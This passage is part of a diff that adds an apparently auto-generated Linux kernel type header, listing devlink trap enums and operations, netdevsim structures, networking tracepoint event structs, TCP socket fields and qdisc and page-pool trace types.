DEVLINK_TRAP_GENERIC_ID_FLOW_ACTION_SAMPLE = 71, + DEVLINK_TRAP_GENERIC_ID_FLOW_ACTION_TRAP = 72, + DEVLINK_TRAP_GENERIC_ID_EARLY_DROP = 73, + DEVLINK_TRAP_GENERIC_ID_VXLAN_PARSING = 74, + DEVLINK_TRAP_GENERIC_ID_LLC_SNAP_PARSING = 75, + DEVLINK_TRAP_GENERIC_ID_VLAN_PARSING = 76, + DEVLINK_TRAP_GENERIC_ID_PPPOE_PPP_PARSING = 77, + DEVLINK_TRAP_GENERIC_ID_MPLS_PARSING = 78, + DEVLINK_TRAP_GENERIC_ID_ARP_PARSING = 79, + DEVLINK_TRAP_GENERIC_ID_IP_1_PARSING = 80, + DEVLINK_TRAP_GENERIC_ID_IP_N_PARSING = 81, + DEVLINK_TRAP_GENERIC_ID_GRE_PARSING = 82, + DEVLINK_TRAP_GENERIC_ID_UDP_PARSING = 83, + DEVLINK_TRAP_GENERIC_ID_TCP_PARSING = 84, + DEVLINK_TRAP_GENERIC_ID_IPSEC_PARSING = 85, + DEVLINK_TRAP_GENERIC_ID_SCTP_PARSING = 86, + DEVLINK_TRAP_GENERIC_ID_DCCP_PARSING = 87, + DEVLINK_TRAP_GENERIC_ID_GTP_PARSING = 88, + DEVLINK_TRAP_GENERIC_ID_ESP_PARSING = 89, + DEVLINK_TRAP_GENERIC_ID_BLACKHOLE_NEXTHOP = 90, + DEVLINK_TRAP_GENERIC_ID_DMAC_FILTER = 91, + DEVLINK_TRAP_GENERIC_ID_EAPOL = 92, + DEVLINK_TRAP_GENERIC_ID_LOCKED_PORT = 93, + __DEVLINK_TRAP_GENERIC_ID_MAX = 94, + DEVLINK_TRAP_GENERIC_ID_MAX = 93, +}; + +enum devlink_trap_group_generic_id { + DEVLINK_TRAP_GROUP_GENERIC_ID_L2_DROPS = 0, + DEVLINK_TRAP_GROUP_GENERIC_ID_L3_DROPS = 1, + DEVLINK_TRAP_GROUP_GENERIC_ID_L3_EXCEPTIONS = 2, + DEVLINK_TRAP_GROUP_GENERIC_ID_BUFFER_DROPS = 3, + DEVLINK_TRAP_GROUP_GENERIC_ID_TUNNEL_DROPS = 4, + DEVLINK_TRAP_GROUP_GENERIC_ID_ACL_DROPS = 5, + DEVLINK_TRAP_GROUP_GENERIC_ID_STP = 6, + DEVLINK_TRAP_GROUP_GENERIC_ID_LACP = 7, + DEVLINK_TRAP_GROUP_GENERIC_ID_LLDP = 8, + DEVLINK_TRAP_GROUP_GENERIC_ID_MC_SNOOPING = 9, + DEVLINK_TRAP_GROUP_GENERIC_ID_DHCP = 10, + DEVLINK_TRAP_GROUP_GENERIC_ID_NEIGH_DISCOVERY = 11, + DEVLINK_TRAP_GROUP_GENERIC_ID_BFD = 12, + DEVLINK_TRAP_GROUP_GENERIC_ID_OSPF = 13, + DEVLINK_TRAP_GROUP_GENERIC_ID_BGP = 14, + DEVLINK_TRAP_GROUP_GENERIC_ID_VRRP = 15, + DEVLINK_TRAP_GROUP_GENERIC_ID_PIM = 16, + DEVLINK_TRAP_GROUP_GENERIC_ID_UC_LB = 17, + DEVLINK_TRAP_GROUP_GENERIC_ID_LOCAL_DELIVERY = 18, + DEVLINK_TRAP_GROUP_GENERIC_ID_EXTERNAL_DELIVERY = 19, + DEVLINK_TRAP_GROUP_GENERIC_ID_IPV6 = 20, + DEVLINK_TRAP_GROUP_GENERIC_ID_PTP_EVENT = 21, + DEVLINK_TRAP_GROUP_GENERIC_ID_PTP_GENERAL = 22, + DEVLINK_TRAP_GROUP_GENERIC_ID_ACL_SAMPLE = 23, + DEVLINK_TRAP_GROUP_GENERIC_ID_ACL_TRAP = 24, + DEVLINK_TRAP_GROUP_GENERIC_ID_PARSER_ERROR_DROPS = 25, + DEVLINK_TRAP_GROUP_GENERIC_ID_EAPOL = 26, + __DEVLINK_TRAP_GROUP_GENERIC_ID_MAX = 27, + DEVLINK_TRAP_GROUP_GENERIC_ID_MAX = 26, +}; + +struct devlink_info_req; + +struct devlink_ops { + u32 supported_flash_update_params; + long unsigned int reload_actions; + long unsigned int reload_limits; + int (*reload_down)(struct devlink *, bool, enum devlink_reload_action, enum devlink_reload_limit, struct netlink_ext_ack *); + int (*reload_up)(struct devlink *, enum devlink_reload_action, enum devlink_reload_limit, u32 *, struct netlink_ext_ack *); + int (*port_type_set)(struct devlink_port *, enum devlink_port_type); + int (*port_split)(struct devlink *, struct devlink_port *, unsigned int, struct netlink_ext_ack *); + int (*port_unsplit)(struct devlink *, struct devlink_port *, struct netlink_ext_ack *); + int (*sb_pool_get)(struct devlink *, unsigned int, u16, struct devlink_sb_pool_info *); + int (*sb_pool_set)(struct devlink *, unsigned int, u16, u32, enum devlink_sb_threshold_type, struct netlink_ext_ack *); + int (*sb_port_pool_get)(struct devlink_port *, unsigned int, u16, u32 *); + int (*sb_port_pool_set)(struct devlink_port *, unsigned int, u16, u32, struct netlink_ext_ack *); + int (*sb_tc_pool_bind_get)(struct devlink_port *, unsigned int, u16, enum devlink_sb_pool_type, u16 *, u32 *); + int (*sb_tc_pool_bind_set)(struct devlink_port *, unsigned int, u16, enum devlink_sb_pool_type, u16, u32, struct netlink_ext_ack *); + int (*sb_occ_snapshot)(struct devlink *, unsigned int); + int (*sb_occ_max_clear)(struct devlink *, unsigned int); + int (*sb_occ_port_pool_get)(struct devlink_port *, unsigned int, u16, u32 *, u32 *); + int (*sb_occ_tc_port_bind_get)(struct devlink_port *, unsigned int, u16, enum devlink_sb_pool_type, u32 *, u32 *); + int (*eswitch_mode_get)(struct devlink *, u16 *); + int (*eswitch_mode_set)(struct devlink *, u16, struct netlink_ext_ack *); + int (*eswitch_inline_mode_get)(struct devlink *, u8 *); + int (*eswitch_inline_mode_set)(struct devlink *, u8, struct netlink_ext_ack *); + int (*eswitch_encap_mode_get)(struct devlink *, enum devlink_eswitch_encap_mode *); + int (*eswitch_encap_mode_set)(struct devlink *, enum devlink_eswitch_encap_mode, struct netlink_ext_ack *); + int (*info_get)(struct devlink *, struct devlink_info_req *, struct netlink_ext_ack *); + int (*flash_update)(struct devlink *, struct devlink_flash_update_params *, struct netlink_ext_ack *); + int (*trap_init)(struct devlink *, const struct devlink_trap *, void *); + void (*trap_fini)(struct devlink *, const struct devlink_trap *, void *); + int (*trap_action_set)(struct devlink *, const struct devlink_trap *, enum devlink_trap_action, struct netlink_ext_ack *); + int (*trap_group_init)(struct devlink *, const struct devlink_trap_group *); + int (*trap_group_set)(struct devlink *, const struct devlink_trap_group *, const struct devlink_trap_policer *, struct netlink_ext_ack *); + int (*trap_group_action_set)(struct devlink *, const struct devlink_trap_group *, enum devlink_trap_action, struct netlink_ext_ack *); + int (*trap_drop_counter_get)(struct devlink *, const struct devlink_trap *, u64 *); + int (*trap_policer_init)(struct devlink *, const struct devlink_trap_policer *); + void (*trap_policer_fini)(struct devlink *, const struct devlink_trap_policer *); + int (*trap_policer_set)(struct devlink *, const struct devlink_trap_policer *, u64, u64, struct netlink_ext_ack *); + int (*trap_policer_counter_get)(struct devlink *, const struct devlink_trap_policer *, u64 *); + int (*port_function_hw_addr_get)(struct devlink_port *, u8 *, int *, struct netlink_ext_ack *); + int (*port_function_hw_addr_set)(struct devlink_port *, const u8 *, int, struct netlink_ext_ack *); + int (*port_fn_roce_get)(struct devlink_port *, bool *, struct netlink_ext_ack *); + int (*port_fn_roce_set)(struct devlink_port *, bool, struct netlink_ext_ack *); + int (*port_fn_migratable_get)(struct devlink_port *, bool *, struct netlink_ext_ack *); + int (*port_fn_migratable_set)(struct devlink_port *, bool, struct netlink_ext_ack *); + int (*port_new)(struct devlink *, const struct devlink_port_new_attrs *, struct netlink_ext_ack *, unsigned int *); + int (*port_del)(struct devlink *, unsigned int, struct netlink_ext_ack *); + int (*port_fn_state_get)(struct devlink_port *, enum devlink_port_fn_state *, enum devlink_port_fn_opstate *, struct netlink_ext_ack *); + int (*port_fn_state_set)(struct devlink_port *, enum devlink_port_fn_state, struct netlink_ext_ack *); + int (*rate_leaf_tx_share_set)(struct devlink_rate *, void *, u64, struct netlink_ext_ack *); + int (*rate_leaf_tx_max_set)(struct devlink_rate *, void *, u64, struct netlink_ext_ack *); + int (*rate_leaf_tx_priority_set)(struct devlink_rate *, void *, u32, struct netlink_ext_ack *); + int (*rate_leaf_tx_weight_set)(struct devlink_rate *, void *, u32, struct netlink_ext_ack *); + int (*rate_node_tx_share_set)(struct devlink_rate *, void *, u64, struct netlink_ext_ack *); + int (*rate_node_tx_max_set)(struct devlink_rate *, void *, u64, struct netlink_ext_ack *); + int (*rate_node_tx_priority_set)(struct devlink_rate *, void *, u32, struct netlink_ext_ack *); + int (*rate_node_tx_weight_set)(struct devlink_rate *, void *, u32, struct netlink_ext_ack *); + int (*rate_node_new)(struct devlink_rate *, void **, struct netlink_ext_ack *); + int (*rate_node_del)(struct devlink_rate *, void *, struct netlink_ext_ack *); + int (*rate_leaf_parent_set)(struct devlink_rate *, struct devlink_rate *, void *, void *, struct netlink_ext_ack *); + int (*rate_node_parent_set)(struct devlink_rate *, struct devlink_rate *, void *, void *, struct netlink_ext_ack *); + bool (*selftest_check)(struct devlink *, unsigned int, struct netlink_ext_ack *); + enum devlink_selftest_status (*selftest_run)(struct devlink *, unsigned int, struct netlink_ext_ack *); +}; + +enum devlink_info_version_type { + DEVLINK_INFO_VERSION_TYPE_NONE = 0, + DEVLINK_INFO_VERSION_TYPE_COMPONENT = 1, +}; + +enum nsim_resource_id { + NSIM_RESOURCE_NONE = 0, + NSIM_RESOURCE_IPV4 = 1, + NSIM_RESOURCE_IPV4_FIB = 2, + NSIM_RESOURCE_IPV4_FIB_RULES = 3, + NSIM_RESOURCE_IPV6 = 4, + NSIM_RESOURCE_IPV6_FIB = 5, + NSIM_RESOURCE_IPV6_FIB_RULES = 6, + NSIM_RESOURCE_NEXTHOPS = 7, +}; + +struct nsim_trap_item; + +struct nsim_trap_data { + struct delayed_work trap_report_dw; + struct nsim_trap_item *trap_items_arr; + u64 *trap_policers_cnt_arr; + u64 trap_pkt_cnt; + struct nsim_dev *nsim_dev; + spinlock_t trap_lock; +}; + +enum nsim_devlink_param_id { + NSIM_DEVLINK_PARAM_ID_BASE = 16, + NSIM_DEVLINK_PARAM_ID_TEST1 = 17, +}; + +struct nsim_trap_item { + void *trap_ctx; + enum devlink_trap_action action; +}; + +enum { + NSIM_TRAP_ID_BASE = 93, + NSIM_TRAP_ID_FID_MISS = 94, +}; + +struct nsim_rate_node { + struct dentry *ddir; + struct dentry *rate_parent; + char *parent_name; + u16 tx_share; + u16 tx_max; +}; + +enum sys_off_mode { + SYS_OFF_MODE_POWER_OFF_PREPARE = 0, + SYS_OFF_MODE_POWER_OFF = 1, + SYS_OFF_MODE_RESTART_PREPARE = 2, + SYS_OFF_MODE_RESTART = 3, +}; + +struct sys_off_data { + int mode; + void *cb_data; + const char *cmd; +}; + +struct sys_off_handler; + +enum { + SOCK_WAKE_IO = 0, + SOCK_WAKE_WAITD = 1, + SOCK_WAKE_SPACE = 2, + SOCK_WAKE_URG = 3, +}; + +struct trace_event_raw_kfree_skb { + struct trace_entry ent; + void *skbaddr; + void *location; + short unsigned int protocol; + enum skb_drop_reason reason; + char __data[0]; +}; + +struct trace_event_raw_consume_skb { + struct trace_entry ent; + void *skbaddr; + void *location; + char __data[0]; +}; + +struct trace_event_raw_skb_copy_datagram_iovec { + struct trace_entry ent; + const void *skbaddr; + int len; + char __data[0]; +}; + +struct trace_event_data_offsets_kfree_skb {}; + +struct trace_event_data_offsets_consume_skb {}; + +struct trace_event_data_offsets_skb_copy_datagram_iovec {}; + +typedef void (*btf_trace_kfree_skb)(void *, struct sk_buff *, void *, enum skb_drop_reason); + +typedef void (*btf_trace_consume_skb)(void *, struct sk_buff *, void *); + +typedef void (*btf_trace_skb_copy_datagram_iovec)(void *, const struct sk_buff *, int); + +struct trace_event_raw_net_dev_start_xmit { + struct trace_entry ent; + u32 __data_loc_name; + u16 queue_mapping; + const void *skbaddr; + bool vlan_tagged; + u16 vlan_proto; + u16 vlan_tci; + u16 protocol; + u8 ip_summed; + unsigned int len; + unsigned int data_len; + int network_offset; + bool transport_offset_valid; + int transport_offset; + u8 tx_flags; + u16 gso_size; + u16 gso_segs; + u16 gso_type; + char __data[0]; +}; + +struct trace_event_raw_net_dev_xmit { + struct trace_entry ent; + void *skbaddr; + unsigned int len; + int rc; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_net_dev_xmit_timeout { + struct trace_entry ent; + u32 __data_loc_name; + u32 __data_loc_driver; + int queue_index; + char __data[0]; +}; + +struct trace_event_raw_net_dev_template { + struct trace_entry ent; + void *skbaddr; + unsigned int len; + u32 __data_loc_name; + char __data[0]; +}; + +struct trace_event_raw_net_dev_rx_verbose_template { + struct trace_entry ent; + u32 __data_loc_name; + unsigned int napi_id; + u16 queue_mapping; + const void *skbaddr; + bool vlan_tagged; + u16 vlan_proto; + u16 vlan_tci; + u16 protocol; + u8 ip_summed; + u32 hash; + bool l4_hash; + unsigned int len; + unsigned int data_len; + unsigned int truesize; + bool mac_header_valid; + int mac_header; + unsigned char nr_frags; + u16 gso_size; + u16 gso_type; + char __data[0]; +}; + +struct trace_event_raw_net_dev_rx_exit_template { + struct trace_entry ent; + int ret; + char __data[0]; +}; + +struct trace_event_data_offsets_net_dev_start_xmit { + u32 name; +}; + +struct trace_event_data_offsets_net_dev_xmit { + u32 name; +}; + +struct trace_event_data_offsets_net_dev_xmit_timeout { + u32 name; + u32 driver; +}; + +struct trace_event_data_offsets_net_dev_template { + u32 name; +}; + +struct trace_event_data_offsets_net_dev_rx_verbose_template { + u32 name; +}; + +struct trace_event_data_offsets_net_dev_rx_exit_template {}; + +typedef void (*btf_trace_net_dev_start_xmit)(void *, const struct sk_buff *, const struct net_device *); + +typedef void (*btf_trace_net_dev_xmit)(void *, struct sk_buff *, int, struct net_device *, unsigned int); + +typedef void (*btf_trace_net_dev_xmit_timeout)(void *, struct net_device *, int); + +typedef void (*btf_trace_net_dev_queue)(void *, struct sk_buff *); + +typedef void (*btf_trace_netif_receive_skb)(void *, struct sk_buff *); + +typedef void (*btf_trace_netif_rx)(void *, struct sk_buff *); + +typedef void (*btf_trace_napi_gro_frags_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_napi_gro_receive_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_netif_receive_skb_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_netif_receive_skb_list_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_netif_rx_entry)(void *, const struct sk_buff *); + +typedef void (*btf_trace_napi_gro_frags_exit)(void *, int); + +typedef void (*btf_trace_napi_gro_receive_exit)(void *, int); + +typedef void (*btf_trace_netif_receive_skb_exit)(void *, int); + +typedef void (*btf_trace_netif_rx_exit)(void *, int); + +typedef void (*btf_trace_netif_receive_skb_list_exit)(void *, int); + +struct trace_event_raw_napi_poll { + struct trace_entry ent; + struct napi_struct *napi; + u32 __data_loc_dev_name; + int work; + int budget; + char __data[0]; +}; + +struct trace_event_data_offsets_napi_poll { + u32 dev_name; +}; + +typedef void (*btf_trace_napi_poll)(void *, struct napi_struct *, int, int); + +struct minmax_sample { + u32 t; + u32 v; +}; + +struct minmax { + struct minmax_sample s[3]; +}; + +enum tcp_ca_state { + TCP_CA_Open = 0, + TCP_CA_Disorder = 1, + TCP_CA_CWR = 2, + TCP_CA_Recovery = 3, + TCP_CA_Loss = 4, +}; + +struct tcp_sack_block { + u32 start_seq; + u32 end_seq; +}; + +struct tcp_options_received { + int ts_recent_stamp; + u32 ts_recent; + u32 rcv_tsval; + u32 rcv_tsecr; + u16 saw_tstamp: 1; + u16 tstamp_ok: 1; + u16 dsack: 1; + u16 wscale_ok: 1; + u16 sack_ok: 3; + u16 smc_ok: 1; + u16 snd_wscale: 4; + u16 rcv_wscale: 4; + u8 saw_unknown: 1; + u8 unused: 7; + u8 num_sacks; + u16 user_mss; + u16 mss_clamp; +}; + +struct tcp_rack { + u64 mstamp; + u32 rtt_us; + u32 end_seq; + u32 last_delivered; + u8 reo_wnd_steps; + u8 reo_wnd_persist: 5; + u8 dsack_seen: 1; + u8 advanced: 1; +}; + +struct tcp_sock_af_ops; + +struct tcp_md5sig_info; + +struct tcp_fastopen_request; + +struct tcp_sock { + struct inet_connection_sock inet_conn; + u16 tcp_header_len; + u16 gso_segs; + __be32 pred_flags; + u64 bytes_received; + u32 segs_in; + u32 data_segs_in; + u32 rcv_nxt; + u32 copied_seq; + u32 rcv_wup; + u32 snd_nxt; + u32 segs_out; + u32 data_segs_out; + u64 bytes_sent; + u64 bytes_acked; + u32 dsack_dups; + u32 snd_una; + u32 snd_sml; + u32 rcv_tstamp; + u32 lsndtime; + u32 last_oow_ack_time; + u32 compressed_ack_rcv_nxt; + u32 tsoffset; + struct list_head tsq_node; + struct list_head tsorted_sent_queue; + u32 snd_wl1; + u32 snd_wnd; + u32 max_window; + u32 mss_cache; + u32 window_clamp; + u32 rcv_ssthresh; + struct tcp_rack rack; + u16 advmss; + u8 compressed_ack; + u8 dup_ack_counter: 2; + u8 tlp_retrans: 1; + u8 unused: 5; + u32 chrono_start; + u32 chrono_stat[3]; + u8 chrono_type: 2; + u8 rate_app_limited: 1; + u8 fastopen_connect: 1; + u8 fastopen_no_cookie: 1; + u8 is_sack_reneg: 1; + u8 fastopen_client_fail: 2; + u8 nonagle: 4; + u8 thin_lto: 1; + u8 recvmsg_inq: 1; + u8 repair: 1; + u8 frto: 1; + u8 repair_queue; + u8 save_syn: 2; + u8 syn_data: 1; + u8 syn_fastopen: 1; + u8 syn_fastopen_exp: 1; + u8 syn_fastopen_ch: 1; + u8 syn_data_acked: 1; + u8 is_cwnd_limited: 1; + u32 tlp_high_seq; + u32 tcp_tx_delay; + u64 tcp_wstamp_ns; + u64 tcp_clock_cache; + u64 tcp_mstamp; + u32 srtt_us; + u32 mdev_us; + u32 mdev_max_us; + u32 rttvar_us; + u32 rtt_seq; + struct minmax rtt_min; + u32 packets_out; + u32 retrans_out; + u32 max_packets_out; + u32 cwnd_usage_seq; + u16 urg_data; + u8 ecn_flags; + u8 keepalive_probes; + u32 reordering; + u32 reord_seen; + u32 snd_up; + struct tcp_options_received rx_opt; + u32 snd_ssthresh; + u32 snd_cwnd; + u32 snd_cwnd_cnt; + u32 snd_cwnd_clamp; + u32 snd_cwnd_used; + u32 snd_cwnd_stamp; + u32 prior_cwnd; + u32 prr_delivered; + u32 prr_out; + u32 delivered; + u32 delivered_ce; + u32 lost; + u32 app_limited; + u64 first_tx_mstamp; + u64 delivered_mstamp; + u32 rate_delivered; + u32 rate_interval_us; + u32 rcv_wnd; + u32 write_seq; + u32 notsent_lowat; + u32 pushed_seq; + u32 lost_out; + u32 sacked_out; + struct hrtimer pacing_timer; + struct hrtimer compressed_ack_timer; + struct sk_buff *lost_skb_hint; + struct sk_buff *retransmit_skb_hint; + struct rb_root out_of_order_queue; + struct sk_buff *ooo_last_skb; + struct tcp_sack_block duplicate_sack[1]; + struct tcp_sack_block selective_acks[4]; + struct tcp_sack_block recv_sack_cache[4]; + struct sk_buff *highest_sack; + int lost_cnt_hint; + u32 prior_ssthresh; + u32 high_seq; + u32 retrans_stamp; + u32 undo_marker; + int undo_retrans; + u64 bytes_retrans; + u32 total_retrans; + u32 urg_seq; + unsigned int keepalive_time; + unsigned int keepalive_intvl; + int linger2; + u8 bpf_sock_ops_cb_flags; + u8 bpf_chg_cc_inprogress: 1; + u16 timeout_rehash; + u32 rcv_ooopack; + u32 rcv_rtt_last_tsecr; + struct { + u32 rtt_us; + u32 seq; + u64 time; + } rcv_rtt_est; + struct { + u32 space; + u32 seq; + u64 time; + } rcvq_space; + struct { + u32 probe_seq_start; + u32 probe_seq_end; + } mtu_probe; + u32 plb_rehash; + u32 mtu_info; + bool is_mptcp; + const struct tcp_sock_af_ops *af_specific; + struct tcp_md5sig_info *md5sig_info; + struct tcp_fastopen_request *fastopen_req; + struct request_sock *fastopen_rsk; + struct saved_syn *saved_syn; +}; + +struct tcp_sock_af_ops { + struct tcp_md5sig_key * (*md5_lookup)(const struct sock *, const struct sock *); + int (*calc_md5_hash)(char *, const struct tcp_md5sig_key *, const struct sock *, const struct sk_buff *); + int (*md5_parse)(struct sock *, int, sockptr_t, int); +}; + +struct tcp_md5sig_info { + struct hlist_head head; + struct callback_head rcu; +}; + +struct tcp_fastopen_request { + struct tcp_fastopen_cookie cookie; + struct msghdr *data; + size_t size; + int copied; + struct ubuf_info *uarg; +}; + +struct trace_event_raw_sock_rcvqueue_full { + struct trace_entry ent; + int rmem_alloc; + unsigned int truesize; + int sk_rcvbuf; + char __data[0]; +}; + +struct trace_event_raw_sock_exceed_buf_limit { + struct trace_entry ent; + char name[32]; + long int sysctl_mem[3]; + long int allocated; + int sysctl_rmem; + int rmem_alloc; + int sysctl_wmem; + int wmem_alloc; + int wmem_queued; + int kind; + char __data[0]; +}; + +struct trace_event_raw_inet_sock_set_state { + struct trace_entry ent; + const void *skaddr; + int oldstate; + int newstate; + __u16 sport; + __u16 dport; + __u16 family; + __u16 protocol; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + char __data[0]; +}; + +struct trace_event_raw_inet_sk_error_report { + struct trace_entry ent; + int error; + __u16 sport; + __u16 dport; + __u16 family; + __u16 protocol; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + char __data[0]; +}; + +struct trace_event_raw_sk_data_ready { + struct trace_entry ent; + const void *skaddr; + __u16 family; + __u16 protocol; + long unsigned int ip; + char __data[0]; +}; + +struct trace_event_raw_sock_msg_length { + struct trace_entry ent; + void *sk; + __u16 family; + __u16 protocol; + int ret; + int flags; + char __data[0]; +}; + +struct trace_event_data_offsets_sock_rcvqueue_full {}; + +struct trace_event_data_offsets_sock_exceed_buf_limit {}; + +struct trace_event_data_offsets_inet_sock_set_state {}; + +struct trace_event_data_offsets_inet_sk_error_report {}; + +struct trace_event_data_offsets_sk_data_ready {}; + +struct trace_event_data_offsets_sock_msg_length {}; + +typedef void (*btf_trace_sock_rcvqueue_full)(void *, struct sock *, struct sk_buff *); + +typedef void (*btf_trace_sock_exceed_buf_limit)(void *, struct sock *, struct proto *, long int, int); + +typedef void (*btf_trace_inet_sock_set_state)(void *, const struct sock *, const int, const int); + +typedef void (*btf_trace_inet_sk_error_report)(void *, const struct sock *); + +typedef void (*btf_trace_sk_data_ready)(void *, const struct sock *); + +typedef void (*btf_trace_sock_send_length)(void *, struct sock *, int, int); + +typedef void (*btf_trace_sock_recv_length)(void *, struct sock *, int, int); + +struct trace_event_raw_udp_fail_queue_rcv_skb { + struct trace_entry ent; + int rc; + __u16 lport; + char __data[0]; +}; + +struct trace_event_data_offsets_udp_fail_queue_rcv_skb {}; + +typedef void (*btf_trace_udp_fail_queue_rcv_skb)(void *, int, struct sock *); + +struct trace_event_raw_tcp_event_sk_skb { + struct trace_entry ent; + const void *skbaddr; + const void *skaddr; + int state; + __u16 sport; + __u16 dport; + __u16 family; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + char __data[0]; +}; + +struct trace_event_raw_tcp_event_sk { + struct trace_entry ent; + const void *skaddr; + __u16 sport; + __u16 dport; + __u16 family; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + __u64 sock_cookie; + char __data[0]; +}; + +struct trace_event_raw_tcp_retransmit_synack { + struct trace_entry ent; + const void *skaddr; + const void *req; + __u16 sport; + __u16 dport; + __u16 family; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + char __data[0]; +}; + +struct trace_event_raw_tcp_probe { + struct trace_entry ent; + __u8 saddr[28]; + __u8 daddr[28]; + __u16 sport; + __u16 dport; + __u16 family; + __u32 mark; + __u16 data_len; + __u32 snd_nxt; + __u32 snd_una; + __u32 snd_cwnd; + __u32 ssthresh; + __u32 snd_wnd; + __u32 srtt; + __u32 rcv_wnd; + __u64 sock_cookie; + char __data[0]; +}; + +struct trace_event_raw_tcp_event_skb { + struct trace_entry ent; + const void *skbaddr; + __u8 saddr[28]; + __u8 daddr[28]; + char __data[0]; +}; + +struct trace_event_raw_tcp_cong_state_set { + struct trace_entry ent; + const void *skaddr; + __u16 sport; + __u16 dport; + __u8 saddr[4]; + __u8 daddr[4]; + __u8 saddr_v6[16]; + __u8 daddr_v6[16]; + __u8 cong_state; + char __data[0]; +}; + +struct trace_event_data_offsets_tcp_event_sk_skb {}; + +struct trace_event_data_offsets_tcp_event_sk {}; + +struct trace_event_data_offsets_tcp_retransmit_synack {}; + +struct trace_event_data_offsets_tcp_probe {}; + +struct trace_event_data_offsets_tcp_event_skb {}; + +struct trace_event_data_offsets_tcp_cong_state_set {}; + +typedef void (*btf_trace_tcp_retransmit_skb)(void *, const struct sock *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_send_reset)(void *, const struct sock *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_receive_reset)(void *, struct sock *); + +typedef void (*btf_trace_tcp_destroy_sock)(void *, struct sock *); + +typedef void (*btf_trace_tcp_rcv_space_adjust)(void *, struct sock *); + +typedef void (*btf_trace_tcp_retransmit_synack)(void *, const struct sock *, const struct request_sock *); + +typedef void (*btf_trace_tcp_probe)(void *, struct sock *, struct sk_buff *); + +typedef void (*btf_trace_tcp_bad_csum)(void *, const struct sk_buff *); + +typedef void (*btf_trace_tcp_cong_state_set)(void *, struct sock *, const u8); + +struct trace_event_raw_fib_table_lookup { + struct trace_entry ent; + u32 tb_id; + int err; + int oif; + int iif; + u8 proto; + __u8 tos; + __u8 scope; + __u8 flags; + __u8 src[4]; + __u8 dst[4]; + __u8 gw4[4]; + __u8 gw6[16]; + u16 sport; + u16 dport; + char name[16]; + char __data[0]; +}; + +struct trace_event_data_offsets_fib_table_lookup {}; + +typedef void (*btf_trace_fib_table_lookup)(void *, u32, const struct flowi4 *, const struct fib_nh_common *, int); + +struct trace_event_raw_qdisc_dequeue { + struct trace_entry ent; + struct Qdisc *qdisc; + const struct netdev_queue *txq; + int packets; + void *skbaddr; + int ifindex; + u32 handle; + u32 parent; + long unsigned int txq_state; + char __data[0]; +}; + +struct trace_event_raw_qdisc_enqueue { + struct trace_entry ent; + struct Qdisc *qdisc; + const struct netdev_queue *txq; + void *skbaddr; + int ifindex; + u32 handle; + u32 parent; + char __data[0]; +}; + +struct trace_event_raw_qdisc_reset { + struct trace_entry ent; + u32 __data_loc_dev; + u32 __data_loc_kind; + u32 parent; + u32 handle; + char __data[0]; +}; + +struct trace_event_raw_qdisc_destroy { + struct trace_entry ent; + u32 __data_loc_dev; + u32 __data_loc_kind; + u32 parent; + u32 handle; + char __data[0]; +}; + +struct trace_event_raw_qdisc_create { + struct trace_entry ent; + u32 __data_loc_dev; + u32 __data_loc_kind; + u32 parent; + char __data[0]; +}; + +struct trace_event_data_offsets_qdisc_dequeue {}; + +struct trace_event_data_offsets_qdisc_enqueue {}; + +struct trace_event_data_offsets_qdisc_reset { + u32 dev; + u32 kind; +}; + +struct trace_event_data_offsets_qdisc_destroy { + u32 dev; + u32 kind; +}; + +struct trace_event_data_offsets_qdisc_create { + u32 dev; + u32 kind; +}; + +typedef void (*btf_trace_qdisc_dequeue)(void *, struct Qdisc *, const struct netdev_queue *, int, struct sk_buff *); + +typedef void (*btf_trace_qdisc_enqueue)(void *, struct Qdisc *, const struct netdev_queue *, struct sk_buff *); + +typedef void (*btf_trace_qdisc_reset)(void *, struct Qdisc *); + +typedef void (*btf_trace_qdisc_destroy)(void *, struct Qdisc *); + +typedef void (*btf_trace_qdisc_create)(void *, const struct Qdisc_ops *, struct net_device *, u32); + +enum compact_priority { + COMPACT_PRIO_SYNC_FULL = 0, + MIN_COMPACT_PRIORITY = 0, + COMPACT_PRIO_SYNC_LIGHT = 1, + MIN_COMPACT_COSTLY_PRIORITY = 1, + DEF_COMPACT_PRIORITY = 1, + COMPACT_PRIO_ASYNC = 2, + INIT_COMPACT_PRIORITY = 2, +}; + +enum compact_result { + COMPACT_NOT_SUITABLE_ZONE = 0, + COMPACT_SKIPPED = 1, + COMPACT_DEFERRED = 2, + COMPACT_NO_SUITABLE_PAGE = 3, + COMPACT_CONTINUE = 4, + COMPACT_COMPLETE = 5, + COMPACT_PARTIAL_SKIPPED = 6, + COMPACT_CONTENDED = 7, + COMPACT_SUCCESS = 8, +}; + +struct trace_event_raw_page_pool_release { + struct trace_entry ent; + const struct page_pool *pool; + s32 inflight; + u32 hold; + u32 release; + u64 cnt; + char __data[0]; +}; + +struct trace_event_raw_page_pool_state_release { + struct trace_entry ent; + const struct page_pool *pool; + const struct page *page; + u32 release; + long unsigned int pfn; + char __data[0]; +}; + +struct trace_event_raw_page_pool_state_hold { + struct trace_entry ent; + const struct page_pool *pool; + const struct page *page; + u32 hold; + long unsigned int pfn; + char __data[0]; +}; + +struct trace_event_raw_page_pool_update_nid { + struct trace_entry ent; + const struct page_pool *pool; + int pool_nid; + int new_nid; + char __data[0]; +}; + +struct trace_event_data_offsets_page_pool_release {}; + +struct trace_event_data_offsets_page_pool_state_release {}; + +struct trace_event_data_offsets_page_pool_state_hold {}; + +struct trace_event_data_offsets_page_pool_update_nid {}; + +typedef void (*btf_trace_page_pool_release)(void *, const struct page_pool *, s32, u32, u32); + +typedef void (*btf_trace_page_pool_state_release)(void *, const struct page_pool *, const struct page *, u32); + +typedef void (*btf_trace_page_pool_state_hold)(void *, const struct page_pool *, const struct page *, u32); + +typedef void 